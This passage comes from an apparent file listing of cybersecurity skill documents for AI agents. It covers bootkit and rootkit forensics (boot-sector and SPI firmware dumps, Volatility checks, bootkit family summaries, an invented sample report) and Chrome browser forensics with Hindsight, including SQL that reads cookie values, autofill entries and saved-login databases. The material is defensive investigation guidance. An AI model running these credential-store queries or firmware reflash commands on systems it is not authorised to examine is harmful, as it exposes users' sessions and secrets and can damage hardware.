Administrator\"\n'''\n```\n","frontmatter":{"name":"analyzing-azure-activity-logs-for-threats","description":"Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["azure","cloud-security","azure-monitor","kql","threat-hunting","activity-logs"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078.004","T1098.003","T1538","T1556.009","T1580"]},"isInternal":false,"tokens":542,"sizeBytes":2436},{"name":"api-reference.md","path":"skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Bootkit and Rootkit Analysis Tools\n\n## dd - Boot Sector Extraction\n\n### Syntax\n```bash\ndd if=/dev/sda of=mbr.bin bs=512 count=1          # MBR\ndd if=/dev/sda of=first_track.bin bs=512 count=63  # First track\ndd if=/dev/sda1 of=vbr.bin bs=512 count=1          # VBR\n```\n\n## ndisasm - 16-bit Disassembly\n\n### Syntax\n```bash\nndisasm -b16 mbr.bin > mbr_disasm.txt\nndisasm -b16 -o 0x7C00 mbr.bin   # Set origin to MBR load address\n```\n\n### Key Flags\n| Flag | Description |\n|------|-------------|\n| `-b16` | 16-bit real-mode disassembly |\n| `-b32` | 32-bit protected-mode |\n| `-o` | Origin address offset |\n\n## UEFITool - Firmware Analysis\n\n### CLI Syntax\n```bash\nUEFIExtract firmware.rom all             # Extract all modules\nUEFIExtract firmware.rom <GUID> body     # Extract specific module body\n```\n\n### Output\nExtracts firmware volumes into a directory tree with each DXE driver, PEI module, and option ROM as separate files identified by GUID.\n\n## chipsec - Hardware Security Assessment\n\n### Syntax\n```bash\npython chipsec_main.py -m common.secureboot.variables  # Check Secure Boot\npython chipsec_main.py -m common.bios_wp               # SPI write protection\npython chipsec_main.py -m common.spi_lock               # SPI lock status\npython chipsec_util.py spi dump firmware.rom            # Dump SPI flash\n```\n\n### Key Modules\n| Module | Purpose |\n|--------|---------|\n| `common.secureboot.variables` | Verify Secure Boot configuration |\n| `common.bios_wp` | Check BIOS write protection |\n| `common.spi_lock` | Verify SPI flash lock bits |\n| `common.smm` | SMM protection verification |\n\n## Volatility 3 - Rootkit Detection Plugins\n\n### Syntax\n```bash\nvol3 -f memory.dmp <plugin>\n```\n\n### Rootkit Detection Plugins\n| Plugin | Purpose |\n|--------|---------|\n| `windows.ssdt` | System Service Descriptor Table hooks |\n| `windows.callbacks` | Kernel callback registrations |\n| `windows.driverscan` | Scan for driver objects |\n| `windows.modules` | List loaded kernel modules |\n| `windows.psscan` | Pool-tag scan for processes (finds hidden) |\n| `windows.pslist` | Active process list (DKOM-affected) |\n| `windows.idt` | Interrupt Descriptor Table hooks |\n\n### Output Format\n```\nOffset  Order  Module         Section  Owner\n------- -----  ------         -------  -----\n0x...   0      ntoskrnl.exe   .text    ntoskrnl.exe\n0x...   73     UNKNOWN        -        rootkit.sys   ← suspicious\n```\n\n## flashrom - SPI Flash Dumping\n\n### Syntax\n```bash\nflashrom -p internal -r firmware.rom     # Read/dump\nflashrom -p internal -w clean.rom        # Write/reflash\nflashrom -p internal --verify clean.rom  # Verify flash contents\n```\n\n## YARA - Firmware Pattern Scanning\n\n### Syntax\n```bash\nyara -r uefi_malware.yar firmware.rom\nyara -s -r rules.yar firmware.rom   # Show matching strings\n```\n","isInternal":false,"tokens":752,"sizeBytes":2798},{"name":"SKILL.md","path":"skills/analyzing-bootkit-and-rootkit-samples/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-bootkit-and-rootkit-samples/SKILL.md","title":"analyzing-bootkit-and-rootkit-samples","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-bootkit-and-rootkit-samples\ndescription: 'Analyzes bootkit and advanced rootkit malware infecting the Master\n  Boot Record (MBR), Volume Boot Record (VBR), or UEFI firmware for below-OS persistence,\n  covering boot sector analysis, UEFI module inspection, and anti-rootkit detection.\n  Use when compromise survives OS reinstallation or antivirus/EDR fails to detect\n  malware despite clear infection signs.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- bootkit\n- rootkit\n- UEFI\n- MBR-analysis\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1542.003\n- T1542.001\n- T1542.002\n- T1014\n- T1547.006\n---\n\n# Analyzing Bootkit and Rootkit Samples\n\n## When to Use\n\n- A system shows signs of compromise that persist through OS reinstallation\n- Antivirus and EDR are unable to detect malware despite clear evidence of compromise\n- UEFI Secure Boot has been disabled or shows integrity violations\n- Memory forensics reveals rootkit behavior (hidden processes, hooked system calls)\n- Investigating nation-state level threats known to deploy bootkits (APT28, APT41, Equation Group)\n\n**Do not use** for standard user-mode malware; bootkits and rootkits operate at a fundamentally different level requiring specialized analysis techniques.\n\n## Prerequisites\n\n- Disk imaging tools (dd, FTK Imager) for acquiring MBR/VBR sectors\n- UEFITool for UEFI firmware volume analysis and module extraction\n- chipsec for hardware-level firmware security assessment\n- Ghidra with x86 real-mode and 16-bit support for MBR code analysis\n- Volatility 3 for kernel-level rootkit artifact detection\n- Bootable Linux live USB for offline system analysis\n\n## Workflow\n\n### Step 1: Acquire Boot Sectors and Firmware\n\nExtract MBR, VBR, and UEFI firmware for offline analysis:\n\n```bash\n# Acquire MBR (first 512 bytes of disk)\ndd if=/dev/sda of=mbr.bin bs=512 count=1\n\n# Acquire first track (usually contains bootkit code beyond MBR)\ndd if=/dev/sda of=first_track.bin bs=512 count=63\n\n# Acquire VBR (Volume Boot Record - first sector of partition)\ndd if=/dev/sda1 of=vbr.bin bs=512 count=1\n\n# Acquire UEFI System Partition\nmkdir /mnt/efi\nmount /dev/sda1 /mnt/efi\ncp -r /mnt/efi/EFI /analysis/efi_backup/\n\n# Dump UEFI firmware (requires chipsec or flashrom)\n# Using chipsec:\npython chipsec_util.py spi dump firmware.rom\n\n# Using flashrom:\nflashrom -p internal -r firmware.rom\n\n# Verify firmware dump integrity\nsha256sum firmware.rom\n```\n\n### Step 2: Analyze MBR/VBR for Bootkit Code\n\nExamine boot sector code for malicious modifications:\n\n```bash\n# Disassemble MBR code (16-bit real mode)\nndisasm -b16 mbr.bin > mbr_disasm.txt\n\n# Compare MBR with known-good Windows MBR\n# Standard Windows MBR begins with: EB 5A 90 (JMP 0x5C, NOP)\n# Standard Windows 10 MBR: 33 C0 8E D0 BC 00 7C (XOR AX,AX; MOV SS,AX; MOV SP,7C00h)\n\npython3 << 'PYEOF'\nwith open(\"mbr.bin\", \"rb\") as f:\n    mbr = f.read()\n\n# Check MBR signature (bytes 510-511 should be 0x55AA)\nif mbr[510:512] == b'\\x55\\xAA':\n    print(\"[*] Valid MBR signature (0x55AA)\")\nelse:\n    print(\"[!] Invalid MBR signature\")\n\n# Check for known bootkit signatures\nbootkit_sigs = {\n    b'\\xE8\\x00\\x00\\x5E\\x81\\xEE': \"TDL4/Alureon bootkit\",\n    b'\\xFA\\x33\\xC0\\x8E\\xD0\\xBC\\x00\\x7C\\x8B\\xF4\\x50\\x07': \"Standard Windows MBR (clean)\",\n    b'\\xEB\\x5A\\x90\\x4E\\x54\\x46\\x53': \"Standard NTFS VBR (clean)\",\n}\n\nfor sig, name in bootkit_sigs.items():\n    if sig in mbr:\n        print(f\"[{'!' if 'clean' not in name else '*'}] Signature match: {name}\")\n\n# Check partition table entries\nprint(\"\\nPartition Table:\")\nfor i in range(4):\n    offset = 446 + (i * 16)\n    entry = mbr[offset:offset+16]\n    if entry != b'\\x00' * 16:\n        boot_flag = \"Active\" if entry[0] == 0x80 else \"Inactive\"\n        part_type = entry[4]\n        start_lba = int.from_bytes(entry[8:12], 'little')\n        size_lba = int.from_bytes(entry[12:16], 'little')\n        print(f\"  Partition {i+1}: Type=0x{part_type:02X} {boot_flag} Start=LBA {start_lba} Size={size_lba} sectors\")\nPYEOF\n```\n\n### Step 3: Analyze UEFI Firmware for Implants\n\nInspect UEFI firmware volumes for unauthorized modules:\n\n```bash\n# Extract UEFI firmware components with UEFITool\n# GUI: Open firmware.rom -> Inspect firmware volumes\n# CLI:\nUEFIExtract firmware.rom all\n\n# List all DXE drivers (most common target for UEFI implants)\nfind firmware.rom.dump -name \"*.efi\" -exec file {} \\;\n\n# Compare against known-good firmware module list\n# Each UEFI module has a GUID - compare against vendor baseline\n\n# Verify Secure Boot configuration\npython chipsec_main.py -m common.secureboot.variables\n\n# Check SPI flash write protection\npython chipsec_main.py -m common.bios_wp\n\n# Check for known UEFI malware patterns\nyara -r uefi_malware.yar firmware.rom\n```\n\n```\nKnown UEFI Bootkit Detection Points:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nLoJax (APT28):\n  - Modified SPI flash\n  - Added DXE driver that drops agent to Windows\n  - Persists through OS reinstall and disk replacement\n\nBlackLotus:\n  - Exploits CVE-2022-21894 to bypass Secure Boot\n  - Modifies EFI System Partition bootloader\n  - Installs kernel driver during boot\n\nCosmicStrand:\n  - Modifies CORE_DXE firmware module\n  - Hooks kernel initialization during boot\n  - Drops shellcode into Windows kernel memory\n\nMoonBounce:\n  - SPI flash implant in CORE_DXE module\n  - Modified GetVariable() function\n  - Deploys user-mode implant through boot chain\n\nESPecter:\n  - Modifies Windows Boot Manager on ESP\n  - Patches winload.efi to disable DSE\n  - Loads unsigned kernel driver\n```\n\n### Step 4: Detect Kernel-Level Rootkit Behavior\n\nAnalyze the running system for rootkit artifacts:\n\n```bash\n# Memory forensics for rootkit detection\n# SSDT hook detection\nvol3 -f memory.dmp windows.ssdt | grep -v \"ntoskrnl\\|win32k\"\n\n# Hidden processes (DKOM)\nvol3 -f memory.dmp windows.psscan > psscan.txt\nvol3 -f memory.dmp windows.pslist > pslist.txt\n# Diff to find hidden processes\n\n# Kernel callback registration (rootkits register callbacks for filtering)\nvol3 -f memory.dmp windows.callbacks\n\n# Driver analysis\nvol3 -f memory.dmp windows.driverscan\nvol3 -f memory.dmp windows.modules\n\n# Check for unsigned drivers\nvol3 -f memory.dmp windows.driverscan | while read line; do\n    driver_path=$(echo \"$line\" | awk '{print $NF}')\n    if [ -f \"$driver_path\" ]; then\n        sigcheck -nobanner \"$driver_path\" 2>/dev/null | grep \"Unsigned\"\n    fi\ndone\n\n# IDT hook detection\nvol3 -f memory.dmp windows.idt\n```\n\n### Step 5: Boot Process Integrity Verification\n\nVerify the integrity of the entire boot chain:\n\n```bash\n# Verify Windows Boot Manager signature\nsigcheck -a C:\\Windows\\Boot\\EFI\\bootmgfw.efi\n\n# Verify winload.efi\nsigcheck -a C:\\Windows\\System32\\winload.efi\n\n# Verify ntoskrnl.exe\nsigcheck -a C:\\Windows\\System32\\ntoskrnl.exe\n\n# Check Measured Boot logs (if TPM is available)\n# Windows: BCDEdit /enum firmware\nbcdedit /enum firmware\n\n# Verify Secure Boot state\nConfirm-SecureBootUEFI  # PowerShell cmdlet\n\n# Check boot configuration for tampering\nbcdedit /v\n\n# Look for boot configuration changes\n# testsigning: should be No\n# nointegritychecks: should be No\n# debug: should be No\nbcdedit | findstr /i \"testsigning nointegritychecks debug\"\n```\n\n### Step 6: Document Bootkit/Rootkit Analysis\n\nCompile comprehensive analysis findings:\n\n```\nAnalysis should document:\n- Boot sector (MBR/VBR) integrity status with hex comparison\n- UEFI firmware module inventory and integrity verification\n- Secure Boot status and any bypass mechanisms detected\n- Kernel-level hooks (SSDT, IDT, IRP, inline) identified\n- Hidden processes, drivers, and files discovered\n- Persistence mechanism (SPI flash, ESP, MBR, kernel driver)\n- Boot chain integrity verification results\n- Attribution to known bootkit families if possible\n- Remediation steps (reflash firmware, rebuild MBR, replace hardware)\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Bootkit** | Malware that infects the boot process (MBR, VBR, UEFI) to execute before the operating system loads, gaining persistent low-level control |\n| **MBR (Master Boot Record)** | First 512 bytes of a disk containing bootstrap code and partition table; MBR bootkits replace this code with malicious loaders |\n| **UEFI (Unified Extensible Firmware Interface)** | Modern firmware interface replacing BIOS; UEFI bootkits implant malicious modules in firmware volumes or modify the ESP |\n| **Secure Boot** | UEFI security feature verifying digital signatures of boot components; bootkits like BlackLotus exploit vulnerabilities to bypass it |\n| **SPI Flash** | Flash memory chip storing UEFI firmware; advanced bootkits like LoJax and MoonBounce modify SPI flash for firmware-level persistence |\n| **DKOM (Direct Kernel Object Manipulation)** | Rootkit technique modifying kernel structures to hide processes, files, and network connections without hooking functions |\n| **Driver Signature Enforcement (DSE)** | Windows security feature requiring kernel drivers to be digitally signed; bootkits disable DSE during boot to load unsigned rootkit drivers |\n\n## Tools & Systems\n\n- **UEFITool**: Open-source UEFI firmware image editor and parser for inspecting firmware volumes, drivers, and modules\n- **chipsec**: Intel hardware security assessment framework for verifying SPI flash protection, Secure Boot, and UEFI configuration\n- **Volatility**: Memory forensics framework with SSDT, IDT, callback, and driver analysis plugins for kernel rootkit detection\n- **GMER**: Windows rootkit detection tool scanning for SSDT hooks, IDT hooks, hidden processes, and modified kernel modules\n- **Bootkits Analyzer**: Specialized tool for analyzing MBR/VBR code including disassembly and comparison against known-good baselines\n\n## Common Scenarios\n\n### Scenario: Investigating Persistent Compromise Surviving OS Reinstallation\n\n**Context**: An organization reimaged a compromised workstation, but the same C2 beaconing resumed within hours. Standard disk forensics finds no malware. UEFI bootkit is suspected.\n\n**Approach**:\n1. Boot from a Linux live USB to avoid executing any compromised OS components\n2. Dump the SPI flash firmware using chipsec or flashrom for offline analysis\n3. Dump the MBR and VBR sectors with dd for boot sector analysis\n4. Copy the EFI System Partition for bootloader integrity verification\n5. Open the SPI dump in UEFITool and compare module GUIDs against vendor-provided firmware\n6. Look for additional or modified DXE drivers that should not be present\n7. Analyze any suspicious modules with Ghidra (x86_64 UEFI module format)\n8. Verify Secure Boot configuration and check for exploit-based bypasses\n\n**Pitfalls**:\n- Analyzing the system while the compromised OS is running (rootkit may hide from live analysis)\n- Not checking SPI flash (only analyzing disk-based boot components misses firmware-level implants)\n- Assuming Secure Boot prevents all bootkits (known bypasses exist, e.g., CVE-2022-21894)\n- Not preserving the original firmware dump before reflashing (critical evidence for attribution)\n\n## Output Format\n\n```\nBOOTKIT / ROOTKIT ANALYSIS REPORT\n====================================\nSystem:           Dell OptiPlex 7090 (UEFI, TPM 2.0)\nFirmware Version: 1.15.0 (Dell)\nSecure Boot:      ENABLED (but bypassed)\nCapture Method:   Linux Live USB + chipsec SPI dump\n\nMBR/VBR ANALYSIS\nMBR Signature:    Valid (0x55AA)\nMBR Code:         MATCHES standard Windows 10 MBR (clean)\nVBR Code:         MATCHES standard NTFS VBR (clean)\n\nUEFI FIRMWARE ANALYSIS\nTotal Modules:    287\nVendor Expected:  285\nExtra Modules:    2 UNAUTHORIZED\n  [!] DXE Driver GUID: {ABCD1234-...} \"SmmAccessDxe_mod\" (MODIFIED)\n      Original Size: 12,288 bytes\n      Current Size:  45,056 bytes (32KB ADDED)\n      Entropy: 7.82 (HIGH - encrypted payload)\n\n  [!] DXE Driver GUID: {EFGH5678-...} \"UefiPayloadDxe\" (NEW - not in vendor firmware)\n      Size: 28,672 bytes\n      Function: Drops persistence agent during boot\n\nBOOT CHAIN INTEGRITY\nbootmgfw.efi:     MODIFIED (hash mismatch, Secure Boot bypass via CVE-2022-21894)\nwinload.efi:      MODIFIED (DSE disabled at load time)\nntoskrnl.exe:     CLEAN (but unsigned driver loaded after boot)\n\nKERNEL ROOTKIT COMPONENTS\nDriver:           C:\\Windows\\System32\\drivers\\null_mod.sys (unsigned, hidden)\nSSDT Hooks:       3 (NtQuerySystemInformation, NtQueryDirectoryFile, NtDeviceIoControlFile)\nHidden Processes: 2 (PID 6784: beacon.exe, PID 6812: keylog.exe)\nHidden Files:     C:\\Windows\\System32\\drivers\\null_mod.sys\n\nATTRIBUTION\nFamily:           BlackLotus variant\nConfidence:       HIGH (CVE-2022-21894 exploit, ESP modification pattern matches)\n\nREMEDIATION\n1. Reflash SPI firmware with clean vendor image via hardware programmer\n2. Rebuild EFI System Partition from clean Windows installation media\n3. Reinstall OS from verified media\n4. Enable all firmware write protections\n5. Update firmware to latest version (patches CVE-2022-21894)\n```\n","frontmatter":{"name":"analyzing-bootkit-and-rootkit-samples","description":"Analyzes bootkit and advanced rootkit malware infecting the Master Boot Record (MBR), Volume Boot Record (VBR), or UEFI firmware for below-OS persistence, covering boot sector analysis, UEFI module inspection, and anti-rootkit detection. Use when compromise survives OS reinstallation or antivirus/EDR fails to detect malware despite clear infection signs.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","bootkit","rootkit","UEFI","MBR-analysis"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1542.003","T1542.001","T1542.002","T1014","T1547.006"]},"isInternal":false,"tokens":3397,"sizeBytes":12989},{"name":"template.md","path":"skills/analyzing-browser-forensics-with-hindsight/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-browser-forensics-with-hindsight/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"# Browser Forensics Report\n## Case Info\n| Field | Value |\n|-------|-------|\n| Case Number | |\n| Browser | |\n| Profile Path | |\n## Activity Summary\n| Metric | Count |\n|--------|-------|\n| URL Visits | |\n| Downloads | |\n| Saved Passwords | |\n| Cookies | |\n## Notable URLs\n| Timestamp | URL | Title |\n|-----------|-----|-------|\n| | | |\n## Downloads\n| Timestamp | File | Source URL | Size |\n|-----------|------|-----------|------|\n| | | | |\n","isInternal":false,"tokens":119,"sizeBytes":438},{"name":"api-reference.md","path":"skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Browser Forensics with Hindsight\n\n## Hindsight CLI\n\n### Syntax\n```bash\nhindsight.py -i <profile_path>                  # Analyze Chrome profile\nhindsight.py -i <path> -o <output_dir>          # Save results\nhindsight.py -i <path> -f xlsx                  # Export as Excel\nhindsight.py -i <path> -f sqlite                # Export as SQLite\nhindsight.py -i <path> -b <browser_type>        # Specify browser type\n```\n\n### Browser Types\n| Flag | Browser |\n|------|---------|\n| `Chrome` | Google Chrome |\n| `Edge` | Microsoft Edge (Chromium) |\n| `Brave` | Brave Browser |\n| `Opera` | Opera (Chromium) |\n\n### Output Artifacts\n| Table | Description |\n|-------|-------------|\n| `urls` | Browsing history with visit counts |\n| `downloads` | File downloads with source URLs |\n| `cookies` | Cookie values, domains, expiry |\n| `autofill` | Form autofill entries |\n| `bookmarks` | Saved bookmarks |\n| `preferences` | Browser configuration |\n| `local_storage` | Site local storage data |\n| `login_data` | Saved credential metadata |\n| `extensions` | Installed extensions with permissions |\n\n## Chrome SQLite Databases\n\n### History Database\n```sql\n-- Browsing history\nSELECT u.url, u.title, v.visit_time, v.transition\nFROM visits v JOIN urls u ON v.url = u.id\nORDER BY v.visit_time DESC;\n\n-- Downloads\nSELECT target_path, tab_url, total_bytes, start_time, danger_type, mime_type\nFROM downloads ORDER BY start_time DESC;\n```\n\n### Cookies Database\n```sql\nSELECT host_key, name, value, creation_utc, expires_utc, is_secure, is_httponly\nFROM cookies ORDER BY creation_utc DESC;\n```\n\n### Web Data Database (Autofill)\n```sql\nSELECT name, value, count, date_created, date_last_used\nFROM autofill ORDER BY date_last_used DESC;\n```\n\n## Chrome Timestamp Conversion\n\n### Format\nMicroseconds since January 1, 1601 (Windows FILETIME base)\n\n### Python Conversion\n```python\nimport datetime\ndef chrome_to_datetime(chrome_time):\n    epoch = datetime.datetime(1601, 1, 1)\n    return epoch + datetime.timedelta(microseconds=chrome_time)\n```\n\n## Browser Profile Paths\n\n| OS | Browser | Default Path |\n|----|---------|-------------|\n| Windows | Chrome | `%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default` |\n| Windows | Edge | `%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default` |\n| Linux | Chrome | `~/.config/google-chrome/Default` |\n| macOS | Chrome | `~/Library/Application Support/Google/Chrome/Default` |\n\n## Transition Types (visit_transition & 0xFF)\n| Value | Type | Description |\n|-------|------|-------------|\n| 0 | LINK | Clicked a link |\n| 1 | TYPED | Typed URL in address bar |\n| 2 | AUTO_BOOKMARK | Via bookmark |\n| 3 | AUTO_SUBFRAME | Subframe navigation |\n| 5 | GENERATED | Generated (e.g., search) |\n| 7 | FORM_SUBMIT | Form submission |\n| 8 | RELOAD | Page reload |\n","isInternal":false,"tokens":713,"sizeBytes":2761},{"name":"standards.md","path":"skills/analyzing-browser-forensics-with-hindsight/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-browser-forensics-with-hindsight/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Standards - Browser Forensics with Hindsight\n## Tools\n- Hindsight: https://github.com/obsidianforensics/hindsight\n- DB Browser for SQLite: Chrome database inspection\n- ChromeCacheView (NirSoft): Cache analysis\n## Browser Databases\n- History: URL visits, downloads, keyword searches\n- Cookies: HTTP cookies per domain\n- Web Data: Autofill, credit cards\n- Login Data: Saved credentials (encrypted)\n- Bookmarks: JSON bookmark tree\n## Timestamp Formats\n- Chrome/WebKit: microseconds since 1601-01-01 UTC\n- Firefox/Mozilla: microseconds since Unix epoch\n- Safari/Mac: seconds since 2001-01-01 UTC\n","isInternal":false,"tokens":150,"sizeBytes":594},{"name":"workflows.md","path":"skills/analyzing-browser-forensics-with-hindsight/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-browser-forensics-with-hindsight/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Workflows - Browser Forensics\n## Workflow: Chrome Profile Analysis\n```\nLocate browser profile directory\n    |\nRun Hindsight against profile path\n    |\nReview generated timeline (XLSX/JSON)\n    |\nAnalyze URL history for suspicious sites\n    |\nCheck downloads for malware/exfiltrated data\n    |\nReview cookies for session hijacking evidence\n    |\nExamine autofill and saved credentials\n    |\nCorrelate browser activity with system timeline\n```\n","isInternal":false,"tokens":99,"sizeBytes":444},{"name":"SKILL.md","path":"skills/analyzing-browser-forensics-with-hindsight/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-browser-forensics-with-hindsight/SKILL.md","title":"analyzing-browser-forensics-with-hindsight","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-browser-forensics-with-hindsight\ndescription: Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.\ndomain: cybersecurity\nsubdomain: digital-forensics\ntags:\n- browser-forensics\n- hindsight\n- chrome-forensics\n- chromium\n- edge\n- browsing-history\n- cookies\n- downloads\n- cache\n- web-artifacts\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- RS.AN-03\n- DE.AE-02\n- RS.MA-01\nmitre_attack:\n- T1217\n- T1539\n- T1555.003\n- T1185\n---\n\n# Analyzing Browser Forensics with Hindsight\n\n## Overview\n\nHindsight is an open-source browser forensics tool designed to parse artifacts from Google Chrome and other Chromium-based browsers (Microsoft Edge, Brave, Opera, Vivaldi). It extracts and correlates data from multiple browser database files to create a unified timeline of web activity. Hindsight can parse URLs, download history, cache records, bookmarks, autofill records, saved passwords, preferences, browser extensions, HTTP cookies, Local Storage (HTML5 cookies), login data, and session/tab information. The tool produces chronological timelines in multiple output formats (XLSX, JSON, SQLite) that enable investigators to reconstruct user web activity for incident response, insider threat investigations, and criminal cases.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing browser forensics with hindsight\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.8+ with Hindsight installed (`pip install pyhindsight`)\n- Access to browser profile directories from forensic image\n- Browser profile data (not encrypted with OS-level encryption)\n- Timeline Explorer or spreadsheet application for analysis\n\n## Browser Profile Locations\n\n| Browser | Windows Profile Path |\n|---------|---------------------|\n| Chrome | %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\ |\n| Edge | %LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\ |\n| Brave | %LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\ |\n| Opera | %APPDATA%\\Opera Software\\Opera Stable\\ |\n| Vivaldi | %LOCALAPPDATA%\\Vivaldi\\User Data\\Default\\ |\n| Chrome (macOS) | ~/Library/Application Support/Google/Chrome/Default/ |\n| Chrome (Linux) | ~/.config/google-chrome/Default/ |\n\n## Key Artifact Files\n\n| File | Contents |\n|------|----------|\n| History | URL visits, downloads, keyword searches |\n| Cookies | HTTP cookies with domain, expiry, values |\n| Web Data | Autofill entries, saved credit cards |\n| Login Data | Saved usernames/passwords (encrypted) |\n| Bookmarks | JSON bookmark tree |\n| Preferences | Browser configuration and extensions |\n| Local Storage/ | HTML5 Local Storage per domain |\n| Session Storage/ | Session-specific storage per domain |\n| Network Action Predictor | Previously typed URLs |\n| Shortcuts | Omnibox shortcuts and predictions |\n| Top Sites | Frequently visited sites |\n\n## Running Hindsight\n\n### Command Line\n\n```bash\n# Basic analysis of a Chrome profile\nhindsight.exe -i \"C:\\Evidence\\Users\\suspect\\AppData\\Local\\Google\\Chrome\\User Data\\Default\" -o C:\\Output\\chrome_analysis\n\n# Specify browser type\nhindsight.exe -i \"/path/to/profile\" -o /output/analysis -b Chrome\n\n# JSON output format\nhindsight.exe -i \"C:\\Evidence\\Chrome\\Default\" -o C:\\Output\\chrome --format jsonl\n\n# With cache parsing (slower but more complete)\nhindsight.exe -i \"C:\\Evidence\\Chrome\\Default\" -o C:\\Output\\chrome --cache\n```\n\n### Web UI\n\n```bash\n# Start Hindsight web interface\nhindsight_gui.exe\n# Navigate to http://localhost:8080\n# Upload or point to browser profile directory\n# Configure output format and analysis options\n# Generate and download report\n```\n\n## Artifact Analysis Details\n\n### URL History and Visits\n\n```sql\n-- Chrome History database schema (key tables)\n-- urls table: id, url, title, visit_count, typed_count, last_visit_time\n-- visits table: id, url, visit_time, from_visit, transition, segment_id\n\n-- Timestamps are Chrome/WebKit format: microseconds since 1601-01-01\n-- Convert: datetime((visit_time/1000000)-11644473600, 'unixepoch')\n```\n\n### Download History\n\n```sql\n-- downloads table: id, current_path, target_path, start_time, end_time,\n--   received_bytes, total_bytes, state, danger_type, interrupt_reason,\n--   url, referrer, tab_url, mime_type, original_mime_type\n```\n\n### Cookie Analysis\n\n```sql\n-- cookies table: creation_utc, host_key, name, value, encrypted_value,\n--   path, expires_utc, is_secure, is_httponly, last_access_utc,\n--   has_expires, is_persistent, priority, samesite\n```\n\n## Python Analysis Script\n\n```python\nimport sqlite3\nimport os\nimport json\nimport sys\nfrom datetime import datetime, timedelta\n\n\nCHROME_EPOCH = datetime(1601, 1, 1)\n\n\ndef chrome_time_to_datetime(chrome_ts: int):\n    \"\"\"Convert Chrome timestamp to datetime.\"\"\"\n    if chrome_ts == 0:\n        return None\n    try:\n        return CHROME_EPOCH + timedelta(microseconds=chrome_ts)\n    except (OverflowError, OSError):\n        return None\n\n\ndef analyze_chrome_history(profile_path: str, output_dir: str) -> dict:\n    \"\"\"Analyze Chrome History database for forensic evidence.\"\"\"\n    history_db = os.path.join(profile_path, \"History\")\n    if not os.path.exists(history_db):\n        return {\"error\": \"History database not found\"}\n\n    os.makedirs(output_dir, exist_ok=True)\n    conn = sqlite3.connect(f\"file:{history_db}?mode=ro\", uri=True)\n\n    # URL visits with timestamps\n    cursor = conn.cursor()\n    cursor.execute(\"\"\"\n        SELECT u.url, u.title, v.visit_time, u.visit_count,\n               v.transition & 0xFF as transition_type\n        FROM visits v JOIN urls u ON v.url = u.id\n        ORDER BY v.visit_time DESC LIMIT 5000\n    \"\"\")\n    visits = [{\n        \"url\": r[0], \"title\": r[1],\n        \"visit_time\": str(chrome_time_to_datetime(r[2])),\n        \"total_visits\": r[3], \"transition\": r[4]\n    } for r in cursor.fetchall()]\n\n    # Downloads\n    cursor.execute(\"\"\"\n        SELECT target_path, tab_url, start_time, end_time,\n               received_bytes, total_bytes, mime_type, state\n        FROM downloads ORDER BY start_time DESC LIMIT 1000\n    \"\"\")\n    downloads = [{\n        \"path\": r[0], \"source_url\": r[1],\n        \"start_time\": str(chrome_time_to_datetime(r[2])),\n        \"end_time\": str(chrome_time_to_datetime(r[3])),\n        \"received_bytes\": r[4], \"total_bytes\": r[5],\n        \"mime_type\": r[6], \"state\": r[7]\n    } for r in cursor.fetchall()]\n\n    # Keyword searches\n    cursor.execute(\"\"\"\n        SELECT k.term, u.url, k.url_id\n        